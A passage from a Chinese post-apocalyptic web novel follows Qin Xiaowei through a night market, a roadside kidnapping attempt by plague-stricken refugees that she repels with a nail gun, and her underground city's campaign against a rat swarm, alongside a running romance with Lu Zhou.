不过，就她们吃饭的这几十分钟,外面的街道已经挤满了人,三人回健身房的时候,还经历了一番“波折”，被人误会是插队的…… 范槿：“这么多人堵路,薇薇,下午怕是没多少客人上门吧？” 秦小薇倒不是很担心：“刚好让大家歇一歇，过两天就好了。” 健身房这两年生意一直不错,也不差这一两天的营业额。 下午果然没什么客人，范槿在抽屉里找出一副扑克牌，三人玩了一下午斗地主。 为了加快疫苗接种的速度,一连好几天,地下城都没有熄灯，市政安排医务人员三班倒，为大家接种疫苗。 连着折腾了一周多,库存的疫苗终于消耗得七七八八。 地下城生产的疫苗，除了他们自己消耗,还有很大一部分都卖给了Q省的其他城市,换回来了不少物资，这几天，虽然没有车队带回物资,但地下城附近，一直是车来车往。 在经历了最初的慌乱过后，地下城一部分市民自发组织了“灭鼠行动”，同城APP上也冒出了一堆教大家抓老鼠的帖子,连带着猫的身价都开始水涨船高，尤其是那些会抓老鼠的猫…… 但因为地下城的老鼠真的太少了，所以他们的灭鼠行动收效甚微。 因为找不到多少老鼠，几天后，原本慌乱的普通人渐渐平静下来，不再像刚收到预警短信时那么恐慌。 这天，吃完晚饭后，秦小薇和范槿、肖琳琳坐电梯去地面散步。 还没出去，三人就听到了一阵阵音响声，秦小薇知道，那是憋了许久的大妈，正在地面上放音乐跳广场舞。 地下城寸土寸金，除了主干道，其他的路，大多都很窄，只能让一辆普通的小汽车通过。 这两年，还有大妈试图在地下城的街道上放音乐跳广场舞，但街道原本就狭窄，地下城到了晚上八点，就会准时熄灯，很多人也因此养成了早睡早起的习惯。 大妈们八点之前跳，影响交通，会被巡逻队驱散，八点之后跳，得自备照明灯，还得把音乐的声音调得很低，否则就算是扰民，容易被人骂。 这两年，这些爱好跳广场舞的大妈过得十分憋屈，现在外面升温了，积雪也化了，这些大妈，可算是“解放”了。 几乎天天都要来地面上放音乐跳广场舞，还得把音响的声音调到最大…… 出了地下通道，看到面前的画面后，秦小薇有些惊讶：“咱们宁市竟然有这么多跳广场舞的大妈？” 一眼望去，眼前几乎全是跳广场舞的队伍，地面上也有带着孩子出来散步的家长、吃完饭出 来消食的夫妻……但因为广场舞大妈的队伍太过庞大，靠近出入口的这一片区域全都被占了，这些人都被挤到了很远的地方。 出入口附近人流量很大，还有一排卖东西的小商贩，三人逛了逛，没看到感兴趣的东西，便继续往前走。 越过广场舞大军后，前方变得愈发热闹，小摊贩也肉眼可见地越来越多，各种乱七八糟的东西都能看到。 除了摆摊的，还有坐在夕阳下下棋的大爷，玩沙子的小朋友…… 远处还有一片区域被施工人员围了起来，他们正在建陆昼之前说的“商业区”。 外面很热闹，那是浓浓的人间烟火气，让人的内心觉得很宁静。 太阳落山之后，天很快就黑了。 外面没有路灯，但很多小摊贩都自带充电灯，跳广场舞的队伍也带了灯，所以附近非常亮堂，就算不开手电筒，她们也能看得清路…… 天黑之后，周围的环境让秦小薇三人有种逛夜市的感觉。 “薇薇、琳琳，你们看这个……好看吗？”范槿从一个小摊上拿起一个会发光的牛角发箍，用没受伤的那只手戴在头上。 天已经黑了，发箍上两个红色牛角十分显眼，她身边，站着一个戴着同款发箍的小姑娘，看身高，也就七八岁…… 肖琳琳：“……你开心就好。” 范槿哼了一声，没有理她，她问老板：“老板，这个多少钱？” 老板：“十块新币，不收旧币。” 范槿：“行，来一个！薇薇，你要吗？” 秦小薇打量了一下摊子上的东西，见东西的包装都在，是新的，便也买了一个。 肖琳琳原本是觉得有些幼稚的，毕竟附近买这个发光发箍的，都是小朋友，但见两个室友都买了，她也掏钱买了。 戴上发箍之后，三人又往前走了一段，看到了几个现场自制捕鼠笼的商贩。 原材料是小摊贩们从地面上拆的安全屋和一些不知从哪找的零碎金属配件，他们把安全屋的墙面切割成片后，现场焊接制作捕鼠笼…… 因为预警中心发的短信，这个摊子非常热闹，排队预定的人，已经排到下个月了。 秦小薇：“这老板头脑真灵活，预警短信这才发出来几天啊，就让他找到商机了……” 范槿：“这摊子生意这么火爆，我估计要不了几天，就会出现一堆跟风的……” 她们没去凑热闹，而是继续逛“夜市”，就在几人在小摊子上挑挑拣拣，挑选货物的时候，远处突然传来一阵惊恐的尖叫。 “鬼啊——” 秦小薇放下手上的东西，抬头看去，但因为光线昏暗，前面又挤了很多人，她只能看到，远处停着一辆大巴车，但具体发生了什么，她根本看不清。 “出什么事了？” “不知道！” “我过去看看！” “……” 虽然有人在大喊有鬼，但周围的人实在是太多了，大家并不害怕，有那胆子大的，听到动静后，还一个劲地往前挤，试图看清那“鬼”的真面目…… 范槿拽了下秦小薇的袖子：“薇薇，我们别过去了！那边人太多了，容易发生踩踏事件……” 秦小薇点点头，三人没再看摊子上的东西，而是朝着人少的方向走去，不过她们也没离开，而是站在远处看热闹，她们都很好奇，到底发生了什么。 这里人多，八卦传播得也快，很快，他们就从众人的口口相传中知道前面发生了什么。 原来是有人从秋市开了一辆大巴车过来，车里装的都是被老鼠咬过的病人，秋市在闹鼠灾，很多人都被老鼠咬了，医疗物资紧缺，他们知道，附近很多药品都是宁市红浦区出产的，便想过来碰碰运气。 他们当中，有几人伤的是脸，伤口并没有用纱布包扎，就只在上面撒了点止血的药粉，现在外面的光线又很昏暗，乍一看，那伤口比恐怖片里的鬼还要吓人…… 有几个小朋友看到他们的脸之后，当场就吓哭了，这才闹了这么一场乌龙。 地下城出来容易，进去要刷脸和身份证，要是他们穿得正常一些，人多的时候，还能混进去。 但这些外来者的特征实在是太明显了，一眼就被出入口的工作人员认出来了。 然后……他们就被拦住了。 他们确实病得很严重，有些人都已经神志不清了，是被家人抬下车的，下车后，就只能躺在破席子上，让家人拖着走。 好不容易才赶来宁市，因此就算工作人员驱赶他们，他们也不愿意离开，反而是跪在工作人员面前，对着他们又哭又拜…… 不过工作人员并没有心软，劝了几句后，见他们还不愿意离开，就把人强行拖离了出入口，扔到地面上，免得他们妨碍其他人排队。 可能是因为末世后资源不足，这两年，普通人变得愈发“排外”。 以前，他们要是碰到了这样的事，高低得帮一把，但现在，外来者在大家看来就是和他们争夺生存资源的。 要是倒下的是红浦区的原住民，大家肯定会帮忙叫个救护车或者是送医院什么的，但要是外来者……他们会直接绕着走。 从江安区那批难民开始，宁市每次有难民出现，最后都没什么好事，最后除了死人还是死人…… 秦小薇三人的态度也差不多，吃完了瓜，见时间差不多了，她们就准备回去了。 晚上，回到别墅区之后，隔壁双胞胎送了张请帖过来。 凌悦悦：“我们要搬家了，妈妈说要请亲戚朋友去新家吃饭，姐姐，你也来好不好？” 秦小薇收下了请帖：“这么快？那你们以后上学怎么办？不是要两头跑……” 她是知道的，两个小不点现在还在富人区上贵族小学。 凌耀耀：“我妈说给我转到老校区去，这边太小了，好多课都取消了。我爸也说，小伙子要多晒太阳才能长高……唉，搬来地下城以后，我都不长个了！” 秦小薇被他老气横秋的态度逗笑了：“你才多大呀？就自称小伙子……周六晚上是吧？我知道了，到时候会过去的！” 凌悦悦：“姐姐再见！” 送走了双胞胎之后，对面的陆昼又牵着狗过来了。 陆昼：“香肠想找朔月玩……” 秦小薇并不排斥朔月和小伙伴社交，她主动去拿他手里的狗绳：“行，等香肠玩完了，我送它回去……” 陆昼却没有放开狗绳的意思，他一本正经道：“我也有事找你。” 秦小薇：“陆昼，你又来这招！” 说着，她举起了拳头，作势要揍他，想把人吓走。 这一周，他时常用这个理由来她家“登堂入室”，放他进来之后，说的却是些鸡毛蒜皮的小事，搞得秦小薇时常想暴打他一顿。 当然，她也没忍着，和他动了好几次手。 但这家伙却越挫越勇，被打了之后，下次还敢过来…… 陆昼抬手抓住她的胳膊，他轻咳一声，凑到她耳边，小声道：“这次是真的有正事，上面打算整顿地面上的难民了，你的房子能要回来了……” 秦小薇的眼睛亮了：“真的？” 陆昼站直了身体，他笑盈盈地看着她：“我们进去慢慢说？” 秦小薇这才拉开门，放他们进来，陆昼牵着狗，唇角弯了弯，眉眼里全是笑。 进门坐下后，陆昼却不急着说正事，一会说她给朔月钩的围巾好看，他也缺一条围巾；一会又说她晚饭煮的肉丸子很香，他想来一碗…… 秦小薇气得一拳砸了过去：“陆昼，你再这样我生气了！” 陆昼接住她的拳头，这才收敛了脸上的表情：“真生气了？好了，不逗你了，上面打算把难民们集中安置到江安区，住安全屋……刚好监狱也在江安区，要是他们犯了事，直接就能关进去劳改。” 秦小薇皱眉：“他们能愿意？” 大家都是经历过台风和冰雹的，能放弃钢筋水泥建的房子，去住只有一层铁皮的安全屋？ 陆昼：“不愿意又能怎么样？胳膊拧不过大腿，他们现在吃的东西，都是地下城送过去的……” 秦小薇的眉头依旧没松开：“就算断了他们的粮食，也不一定有用吧？我听说，之前找到的尸体，很多都是残缺不全的……” 要是地下城这边断粮了，她觉得，以那些人的残忍程度，说不定会捕杀同类。 陆昼：“放心吧！这事肯定能办成！他们不过是一群乌合之众……” 见他语气这么自信，秦小薇的心暂时放了下来，那她……就继续等着吧！ 陆昼看着她，一副邀功的样子：“我给你送来这么一个好消息，你打算怎么感谢我？” 秦小薇看不惯他这副模样，便故意说：“你又没出力，我为什么要感谢你？” 陆昼：“我怎么没出力？我可是专门在会上提议，Q大那一片建筑保留得最多，还不需要费心思重建，可以先从那边开始清人……” 秦小薇：“……” 陆昼提要求：“我觉得朔月的围巾挺好看的，你给我织一条。” 秦小薇伸手捶了他一下：“陆昼，你什么毛病，和狗戴一样的围巾？现在外面天天二十多度，你戴什么围巾？” 陆昼这回没躲过去，他捂着被揍的肩膀，小声嘟囔道：“你不是也有一条一样的？” 秦小薇：“……换一个！” 陆昼：“手套也行……要你自己钩的！” 秦小薇：“太难了，我不会。” 陆昼：“那就围巾！ 秦小薇：“换一个！” 陆昼：“毛衣也可以。” 秦小薇：“ 没时间。” 一番“讨价还价”之后，秦小薇答应送他一件别的礼物。 送走了一人一狗后，秦小薇打开同城APP，随便下单了一个全新的防风打火机。 等她下完单，她才惊觉，现在明明是陆昼在追她，但为什么主动送礼物的变成了她？ 周四下午，秦小薇在店里摸鱼的时候，店里来了一个奇怪的客人，是个年轻女人，张嘴就说可以给她们店低价提供货源。 她们健身房，除了秦小薇和本地工厂定制的防身用品，还卖她空间里出产的卷纸、棉花、鸡蛋、牛奶……不过后者只对会员开放购买。 地下城这一两年虽然发展得不错，但因为受到诸多条件的限制，某些物资依旧稀缺，超市一直在限购，普通人想在其他地方买，只能加价，商家要是想弄到货源，还得搭点人脉关系。 像年轻女人这样，张嘴就是低价货源，倒是十分少见。 秦小薇没有直接拒绝，把人带到办公室，和人聊了起来。 秦小薇：“这位老板，你有什么物资？” “卫生巾！”年轻女人打开背包，里面装着满满当当一大包卫生巾，各种规格的都有，“我看外面的会员专区放了不少稀缺物资，要是加上这个，你们店肯定能吸引更多的顾客！” 秦小薇拿起一包卫生巾，仔细打量着，看到外包装上的生产信息后，她的眼睛眯了眯，这些卫生巾，竟然都是隔壁秋市生产的！ 她又拆开一包看了看，触感柔软，似乎和超市卖的卫生巾差不多……至少，她肉眼看不出来有什么问题。 秦小薇：“看着没什么问题，这个怎么卖？” 年轻女人：“十五一包，新币结算！” 和超市的价格差不多，但比同城APP上便宜很多。 秦小薇没立即答应，只说要考虑一下，然后买下了女人包里的卫生巾。 年轻女人离开之后，秦小薇拿出酒精喷雾，先把年轻女人刚刚坐过的地方仔细消了一遍毒，又用消毒液擦了手，才拨通了陆昼的电话，和陆昼说了刚刚发生的事。 秦小薇：“……你说，这批货不会是用什么劣质材料做的吧？或者是被病毒污染了？” 陆昼：“不知道，要不要我帮你把它们送去实验室，化验一下？” 秦小薇：“那倒不用，我没打算要她的货……我给你打电话，就是想提醒你，秋市的人混进地下城了。” 陆昼：“我知道了，不过地下城现在每天这么多人出入，有人混进来，也是迟早的事……” 秦小薇：“有人混进来倒是没事，我就怕他们把病毒也带进来了！” 电话那头的人笑了一声：“被大门口的人吓到了？” 这周，不断有秋市的病人来地下城求助，工作人员不放他们进来，他们就躺在大门口。 他们生病的样子，实在是非常吓人。 有些是身上长满了红疹，还有些是皮肤溃烂，还有些是躺着躺着就开始浑身抽搐…… 因为这些人的出现，原本已经有些放松的市民，又绷紧了神经。 秦小薇：“我胆子可没那么小，我没别的事，挂了！” 一转眼，时间就到了周末，秦小薇特地换了件稍微正式一点的衣服，打算去双胞胎的“新家”吃暖房饭。 路上开车要时间，她特地提前了四十多分钟出发。 车子上路没多久，秦小薇就察觉到了不对劲，后面有几辆车，好像一直在跟着她…… 刚开始，她还以为他们只是顺路，但很快，那几辆车就呈“十”字型，把她的SUV包围在中间，试图逼停她。 秦小薇想要“突围”，但几个司机的车技很好，她一直没能成功。 等到了无人的路段之后，后面的车还撞她的车屁股，秦小薇只能停车。 车里下来一群男男女女，他们走到SUV边上，敲了敲车窗，示意秦小薇下来。 秦小薇握着射钉枪的手紧了紧，一共十一个人，他们中，不少人的脖子上和脸上都有新鲜的伤口，看那痕迹，像是被什么东西咬的……秦小薇对这几人的来历有了些猜测。 不知道他们身手怎么样，但附近没人，她可以用仓库作弊，应该不会有事…… 见她没有反应，其中一个女人举起手上的铁锤，就要敲她的车窗。 秦小薇连忙打开车门，猛地用力一踢，车门拍在了女人的身上，女人也摔倒了。 秦小薇还没下车，车外的人就要伸手抢她的射钉枪，秦小薇自然不会给，她调整枪口，对着那人的胸口就是一枪，同时脚下用力，一脚踢开另一人伸过来的胳膊。 “老郑！”见同伴倒下，刚刚要砸她车玻璃的中年女人发出一声惊恐的尖叫。 秦小薇又对着外面的人群连开几枪，矮身蹿出了车，她在地上滚了几圈，躲开了周围人抓她的手…… 这群人里面，有些是真的毫无打架经验，例如之前想要敲她车窗的那个中年女人，就只会胡乱挥着手上的铁锤，秦小薇三两下就把她放倒了。 还有几人，有一些经验，但力气和武器也都不如她，一 番混战过后，也被她放倒了…… 解决完这群莫名其妙出现的人后，秦小薇狠狠喘了口气，她摸了下脸上被划伤的伤口，今天可真倒霉，出来吃个饭，还毁容了…… “我跟你拼了！”离得最近的一个中年男人，从口袋里拿出一枚注射器，拔掉外面的针头保护套，就要扎秦小薇的小腿。 她本能地察觉到危险，飞快后退几步，同时压低射钉枪的枪口，对着他的手腕，“砰砰砰”就是几枪。 “啊——”男人的胳膊被钉子射穿，捂着手臂，在地上哀嚎。 秦小薇扫了眼掉在地上的注射器，注射器的针管里还残留着一些液体，明显是用过的。 第133章 第133章缝针（双更合一）…… 之前地下城的出入口附近,也出过这样的事，有个秋市来的病人，因为不满工作人员不放他们进去看病,便决心报复社会。 就用抽过自己血的注射器,逮着一个路人就往人家身上扎,配合他身上的红疹、伤口，那人看起来就像是电影里追着人咬的丧尸,非常恐怖！ 这事在网上传开后,大家最近出门晒太阳都变得小心翼翼的，生怕碰到一些报复社会的疯子…… 用用过的注射器扎她,这人想干什么，意图非常明显…… 秦小薇绕过几人，打开后备箱,从里面拿了一卷扎带出来,把众人的手脚一一捆了起来。 捆人的时候，她非常小心，一旦他们有反抗的迹象,她就立刻痛击他们的伤口，让他们失去反抗之力。 当然,这些人也不是人人都想反抗,也有怂了的，一直在求饶。 捆完人，秦小薇却犯难了,这些人，要怎么处理啊？ 他们明显是从秋市来的，报警地下城应该不会管他们，毕竟监狱现在也不缺劳改犯,把他们送进去，还要浪费粮食…… 犹豫了一会，她拨通了陆昼的电话。 秦小薇：“……事情就是这样，你觉得这些人应该怎么处理？” 陆昼的声音里带着几分严肃：“地址共享给我，等我一会，我马上过来，别挂电话。” 秦小薇：“好。” 秦小薇一直保持通话，不过两人没聊天，听筒里只能听到陆昼和别人说话的声音和一些窸窸窣窣的动静，秦小薇给双胞胎的爸妈发了消息，说自己遇到了意外，不能去吃暖房饭了。 闲着没事，又挑了一个人“审问”了一下，那人怂得很，秦小薇随便威胁了两句，他就竹筒倒豆子似的，把所有的事都说了。 他们的确是秋市来的，且家里都有人感染了老鼠身上的病毒，听说宁市医疗资源充足，便凑了些物资，结伴来宁市看病，但万万没想到，过五关斩六将混进地下城之后，医院却因为他们不是本地人，不愿意接待他们。 打听过后，他们知道了“富人区”的存在，知道富人区只要有钱，就能找医生上门看病。 不过那边不像公租房这边，每天都有大量人口出入，很容易混进去，那边出入查得很严，他们试了好几种方法，不仅没混进去，还差点被那边的警察抓住赶出地下城。 这群人便聚在一起想了个办法，那就是绑架一个人，让被绑架的人带着他们和他们的家人去富人区看病，或是直接把医生找出来…… 至于为什么会选中秦小薇，一是因为她是女孩子，二是她车上只有她一个人，不像其他人，出门都带保镖，她看着比较好对付…… 秦小薇有些无语：“就我开的这车，我看着也不像有钱人吧？” 被她踩在脚下的人觑着她的脸色，小心翼翼地开口道：“但你是从Y2停车场出来的，我们打听过了，只有富人区的住户，才能把车停那里，送货的，只能走另一个通道……” “而且有钱人惜命，有些有钱人就喜欢装穷、装低调，还会专门穿破衣服……” 秦小薇：“……” 陆昼的速度很快，她等了十来分钟，他就带着一群保镖到了。 陆昼下车后，大步朝着她走了过来：“没事吧？” 秦小薇叹了口气：“有点事……之前他们追我的时候，胸口撞到了方向盘，现在一抬胳膊就疼，脸也被划了一下，不知道他们有没有在刀上面涂奇怪的东西……” 她转过头，让陆昼看自己捂着纱布的左脸，那里有一道三四厘米长的刀伤。 陆昼：“我送你去医院！” 秦小薇指了指地上的人：“他们怎么处理？” 陆昼：“人杀了，物资和车子带回地下城，你动手还是我来？” 秦小薇：“啊？” 虽然说他们确实不是好人……但要一次动手杀这么多人吗？ 她扫了眼他带来的保镖，保镖的表情非常平静，像是没听到陆昼的话…… 陆昼：“那就扔他们在这自生自灭……” 秦小薇扫了眼地上的血迹，因为他们人多，她之前动手的时候，并没有收敛，几乎每个人身上都被她打了钉子，这伤要是及时处理了，其实在场的人都能活下来…… 她想了想，开口道：“选第二种吧！” 陆昼摸出后腰上的枪，他走到那些人面前，扫了眼他们身上的伤，又补了几枪。 陆昼拿了她的车钥匙，扔给他带来的一个保镖，让他把车开回地下城修理，他则带着秦小薇，上了自己的吉普车。 上车之后，秦小薇还一直盯着后视镜，直到那些躺在地上的绑匪彻底消失不见…… 陆昼：“放心，他们没机会再来报复你。” 秦小薇摇头：“……我就是担心，地下城会因为这些人的出现乱起来，秋市那边来了不少人吧？” 陆昼笑了一声：“上面既然想长期利用药品换物资，还到处宣传这事，总要付出一点代价……你好好开健身房就行了，这事有其他人操心。” 秦小薇叹了口气，不再说话。 陆昼的车速很快，不过七八分钟，他们就回到了地下城。 陆昼带着她去了富人区的医院，在这边住了两年，这还是秦小薇第一次踏足这家医院，医院的面积比公租房那边的医院小，不过诊室和病房都比那边宽敞很多。 医院的服务非常好，全程有专业护士一对一服务，医生也非常有耐心，问再多问题他也不会不耐烦。 当然，这里的服务完全和它的价格成正比，纵然秦小薇现在月入六位数新币，看完病之后，她依旧有些心疼…… 这医院简直就是抢钱！ 她的胸口虽然青了一大片，但没伤到肋骨和胸骨，医生只给她开了些治疗跌打损伤的喷雾，至于她脸上的伤，因为是刚刚受的伤，就算抽血也查不出来有没有感染病毒……医生帮她缝了几针，就让她回去了。 不过医生说了，她打了疫苗，就算刀上真有什么，也不会有生命危险。 至于秦小薇脸上的缝针，医生说他用的是什么美容缝合，疤痕不会出现硬结、局部凹陷或凸起，等伤口好了，还可以来他们医院做疤痕修复…… 陆昼：“我让人把刀找回来，送去化验……” 秦小薇：“不用了，医生不是说了吗，不会有事的。” 陆昼没有说话，只拿出手机，发了条消息出去。 从医院出来之后，两人并排朝着别墅区走去。 秦小薇：“最近别墅区不少人都搬走了，你打算什么时候搬？” 陆昼：“这里上班方便，我不打算搬。” 秦小薇算了下地下城到预警中心办公大楼的距离，发出疑问：“你确定？” 陆昼：“嗯。” 他们换办公地点了？还是预警中心也被难民占了？ 陆昼：“回去好好休息，散打拳击什么的，这几天放一放……” 秦小薇摆了摆手：“知道了。” 她虽然没伤到骨头，但抬手的时候，牵扯到胸口的肌肉，还是会痛的，她可不是喜欢自找苦吃的人…… 到家后，秦小薇歇了没一会，宿舍群就接连有消息跳了出来。 【段霞：敌人已抵达战场，你们在地下城要小心！】 【段霞:[图片][图片]】 秦小薇点开照片看了看，照片里，是黑压压、一眼看不到边的老鼠群，几乎占据了整片街道…… 老鼠的数量非常庞大，光是看那黑压压的一片，就让人觉得毛骨悚然。 秦小薇皱着眉，放大照片仔细观察着，最后通过照片里的路标，发现照片是在宁市拍的。 【秦小薇：这是绿荫路吧？我记得咱们之前还去那吃过焖锅。 【秦小薇：阿霞，你在现场吗？】 【范槿：啊啊啊啊好可怕！】 【范槿：我的手机脏了！】 【范槿：昨天大红还在群里抱怨抓不到老鼠，今天就来了这么大一群，大红真是乌鸦嘴……】 【范槿：阿霞，你们今天出外勤带了什么装备啊？有没有请求支援？】 【肖琳琳：我先回家待着了！】 【肖琳琳：阿霞，打不过就跑，千万别硬撑！】 她们在群里聊了许久，不过段霞在发完那几条消息后，后面一直没有出现，范槿很担心她，还在其他群打听了一番，但是很可惜，那边似乎在忙着杀老鼠，并没有人回复她。 秦小薇找陆昼打听了一下，陆昼说已经派人过去支援了，但段霞的状态，他也不是很清楚——现在所有人的关注点都在老鼠身上，他们想趁着鼠群聚集在一起的时候，把它们一举消灭。 要是等它们散开了，躲到了废墟里、下水道里，那才真是难办！ 到时候他们就只能到处投放老鼠屋，诱捕老鼠。 这群老鼠喜欢人肉，从秋市那边传回来的数据来看，这个方法的效率其实挺低的…… 地下城有人就在附近，刚好看到了这一幕，还有人拍了照片，在同城APP上进行“现场直播”。 照片里，巡逻队和军队的人，正在大战鼠群。 他们有些人，拿着像是灭火器的东西，在对着鼠群喷不知名的液体、气体；还有人身上爬满了老鼠，被拦了视线，不得不停下来解决身上的老鼠，拿刀往自己身上扎…… 现场十分混乱。 秦小薇仔细研究了帖子里的每一张照片，因为所有人都穿着特制的防护服，还把脑袋给包起来了，所以就算是熟悉的人，也很难认出照片里的人。 “叮铃叮铃”的门铃声打断了她的思绪，秦小薇切换界面，打开手机监控看了看，是陆昼。 “朔月，去开下门！”她喊了一声，原本正在追自己尾巴玩的德牧立刻跑去开门。 一分钟后，陆昼提着一个袋子走了进来。 秦小薇：“你怎么来了？” 陆昼：“中午开回来的那几辆车处理好了，车上还有一批物资，你要不要‘接收’一下？” 秦小薇明白了他的暗示，她想了想，回答道：“车留在外面吧！我交给琳琳，让她扩充一下车队，至于物资……我晚点去看看。” 陆昼：“化验结果也出来了，刀上没沾脏东西，你不用担心，倒是现场有个注射器，里面检测出了不少病毒，你没被扎到吧？” 秦小薇摇头：“没有，我躲过去了！” 陆昼蹲在茶几前，把他带来的东西一一拿了出来，是几个打包盒。 陆昼：“你受伤了，做饭不方便，这几天，我给你送饭。” 秦小薇看了下他带来的饭菜，黄豆猪脚汤、炒青菜，还有两盒米饭。 秦小薇：“我之前做了不少菜，都在仓库里，随时都能拿出来吃，我还可以请厨师上门做饭……你放心，我不会饿死！” 陆昼看着她，认真道：“我不放心。” 这家伙也太会打直球了！ 见她转开头，不和他对视，陆昼才继续摆碗筷：“你伤在脸上，最近饮食要注意一些，小心留疤！” 秦小薇故意挑刺：“你这顿饭，真是又清淡又油腻！” 陆昼强行把筷子塞进她手里：“给你送饭话还这么多，快吃！” 秦小薇撇了撇嘴，却还是接过筷子，吃了起来。 虽然猪脚很油腻，不过汤里的油都被撇干净了，不知道陆昼怎么处理的，猪脚一点都不腥，说实话，这饭菜的味道其实还不错…… 陆昼自然不会放过这个和她一起吃饭的机会，他带了两份饭过来，见秦小薇开始吃饭，他自己也拿起筷子，吃了起来。 正吃着饭，秦小薇的手机忽然“叮”了一声，她打开手机看了看，又是预警中心的短信。 短信里说，宁市今天出现了大量老鼠，市政投放了大量有毒的鼠药，短信提醒市民，入口的东西要注意卫生，不要误食了鼠药…… 秦小薇：“你们预警中心速度可真快？老鼠还在绿荫路那边呢，你们短信就发出来了……对了，这短信之前不是发过一遍了吗？怎么又发一遍？” 预警中心前段时间发的预警短信，也提醒了大家老鼠药有毒、老鼠身上携带了很多病毒，被老鼠碰过的餐具要清洁后再使用，还给了具体的方法…… 陆昼冷笑一声：“外面有些人，虽然长得像个人，但记忆力还不如金鱼，饭嚼碎了，喂到嘴边都不会吃，不给他们敲敲边鼓，肯定会有很多人被老鼠药毒死！” 秦小薇：“……很多人应该不至于。” 陆昼勾了勾唇角：“你确定？要不咱们打了赌？就赌……” 他说话的时候，上下打量着她，眼神满是侵略性…… 秦小薇察觉到了危险，立刻转移话题：“我看他们杀老鼠的时候，往老鼠身上喷了很多东西，都是老鼠药吗？” 陆昼收回视线，漫不经心道：“有些是，那些药会附着在它们的毛发上，等它们舔毛的时候，就会吃下这些老鼠药被毒死，之后他们的同伴吃了它们的尸体，同样也会被毒死……” “还有些是液氮喷雾，用这个，主要是因为无毒……快吃饭，汤放凉了会腥，你不吃我不说了！” 秦小薇：“别催了！这不是在吃吗？” “农田那边，其实引入天敌的效果会更好一些，但你也知道，现在很多动物都死了，所以主要还是投放毒饵，辅以环境清理，外加液氮局部处理……” “……” 一顿饭的时间，陆昼和秦小薇介绍了地下城现在所有的灭鼠准备，听得出来，对于即将到来的鼠群，地下城准备得十分充分！ 地下城不仅准备了一堆灭鼠装备对付老鼠，连鼠药的解毒剂也生产了一大堆，除了医院，各个部门、社区都有存货，就怕有人误食了老鼠药中毒，弄不到解毒剂救命…… 反正吃完这顿饭，秦小薇是彻底不担心鼠灾的事了！ 一直到晚上十点多，段霞才在群里出现。 【段霞：我没事。】 【段霞：我们今天大获全胜！】 【段霞：[图片]】 照片里，是他们清理战场、焚烧鼠群的画面，看照片里老鼠尸体的数量，他们今天确实是大获全胜！ 【范槿：所有的老鼠都杀死了吗？】 【段霞：有些跑得太快了！钻进废墟里就没影了……】 【段霞：今天太累了！明天我可以休息半天，下午再继续干活。】 见段霞在群里报了平安，秦小薇才收起手机，放心地躺下睡觉。 不过，她这个晚上，却睡得不是很安稳——她睡觉翻身的 时候，会压到脸上的伤口，半夜被疼醒了好几次。 一个人在家里待着太无聊了，昨天已经在家休息一天了，秦小薇觉得自己的伤不是很严重，她今天就没继续在家窝着，一大早，就骑电动车去了健身房。 看到她脸上贴的纱布，店里的员工都很惊讶：“薇薇，你脸怎么了？” 秦小薇：“昨天碰到了一点事，被人用刀划了一下……已经解决了，你们不用担心！” 秦小薇正和众人准备着开门营业的事，方唯依进来了，她放下身上的背包，也开始干活。 方唯依凑到众人身边，神神秘秘地开口道：“你们猜我早上出去晨跑的时候，看到什么了？” 周文：“你前两天不是说外面堵门的那些病人太可怕了，再也不出去晨跑了吗？怎么今天又出去了？” 方唯依：“我今天特地绕了一圈，走的是十八号门，那边没秋市的人堵门……周文，你别打岔，还想不想听八卦了！” 周文：“你说！你说！” 方唯依：“我回来的时候，看到有人开车送病人过来，是上面那些难民，说是昨天晚上，捡到了几只老鼠，他们太久没开荤，就把它们给吃了！” 她说着，指了指地面。 方唯依：“那药可真厉害，我看那些吃了老鼠的，都喘不上来气了，还一直咳嗽，咳出来的痰都是粉红色的，像是血痰……” 众人十分震惊：“啊？预警中心昨天不是才发了短信提醒吗？他们怎么还敢吃老鼠？” “听说上面有些人还会吃人，他们胆子这么大，吃几只老鼠也很正常吧？” “是不是没收到短信？我听说他们有些人连手机都没有……” “……” “周文，门口的保安让他们进来了吗？” 周文摊手：“不知道啊！我看上班快迟到了，就赶紧回来了！” 吃瓜吃了一半的众人：“……” 之后好几天，出入口附近一直有地面上的难民过来求助。 他们有些是不慎用了老鼠爬过的餐具，中毒比较轻微，吃点解毒剂就能好，还有些，则是直接吃了被毒死的老鼠。 这种是需要住院治疗的，治疗需要的医疗物资也非常多。 地下城的守卫并没有放他们进来，只给了他们一些解毒剂，就把人打发走了。 为了防止中毒的人数持续增加，物资车去地面送能量饼干和土豆大米的时候，还在车上绑了大喇叭，提醒他们宁市在闹鼠灾，很多死老鼠都是有毒的，不能吃…… 但就算是这样，依旧有病人不断过来领解毒剂——有些人觉得，家里没看到老鼠，就是没有老鼠，他们吃饭的碗，甚至好几天才刷一次。 某天，秦小薇出门上班的时候，刚出院子，就见一个黑影从自己面前蹿了过去。 她还没反应过来，朔月就冲了过去！ 秦小薇连忙大喊：“朔月！有毒！不许咬！” 可能是被秦小薇吓到了，朔月没能抓住那只老鼠。一分钟后，朔月蹲在一栋别墅的院墙前，不愿意离开。 秦小薇拍了拍它的脑袋：“没抓到就没抓到，咱们先去上班！” 朔月依旧蹲坐在地上，不愿意离开，秦小薇没办法，只能强行把它抱起来。 秦小薇：“嘶！不行，还是得一只手抱，这边胳膊还是不能抬……” 她刚把狗放到电动车上，对面别墅的大门就打开了，陆昼从屋里走了出来：“我刚刚听到你的声音了，出什么事了？” 秦小薇：“没事，碰到了一只老鼠，朔月要抓，我拦了下……” 第134章 第134章披萨（补了一千字，小…… （双更合一） 陆昼点点头,没有多问什么，按照现在的情况，地下城出现老鼠,是迟早的事。 秦小薇提醒他：“你记得看好香肠,别让它乱吃东西。” 陆昼：“我知道了。” 秦小薇想了想,又折回去检查了一下自家的门窗，确定门窗都关好了,才重新上了电动车。 虽然早上出门的时候看到了老鼠,但秦小薇这一天的行程，和前几天并没有什么区别。 招待客人、补货、摸鱼…… 中午的时候,秦小薇听到店里的人讨论，说是出入口附近有人在售卖便宜的物资。 “又有车队回来了吗？” “这次怎么在外面摆摊，没在网上卖？” “估计是嫌麻烦吧？在网上卖,还要专门找人送货……” “车队最近不是一直在地下城吗？你看琳琳,三天两头就往我们店里跑……” “难道是之前的存货？没处理完就直接拉到门口卖了？” “……” 众人商量了一会，还是决定趁着午休时间店里没客人，出去看看。 秦小薇也被她们拉上凑数,理由是出入口可能会有秋市的人随机挑选“幸运儿”报复社会，她们人多一点,要是出事了,也有个照应。 今天天气不错，很多无所事事的普通人都出了地下城，他们或是三五成群地聚在一起聊天,或是直接拿了个小板凳，坐在阳光下晒太阳。 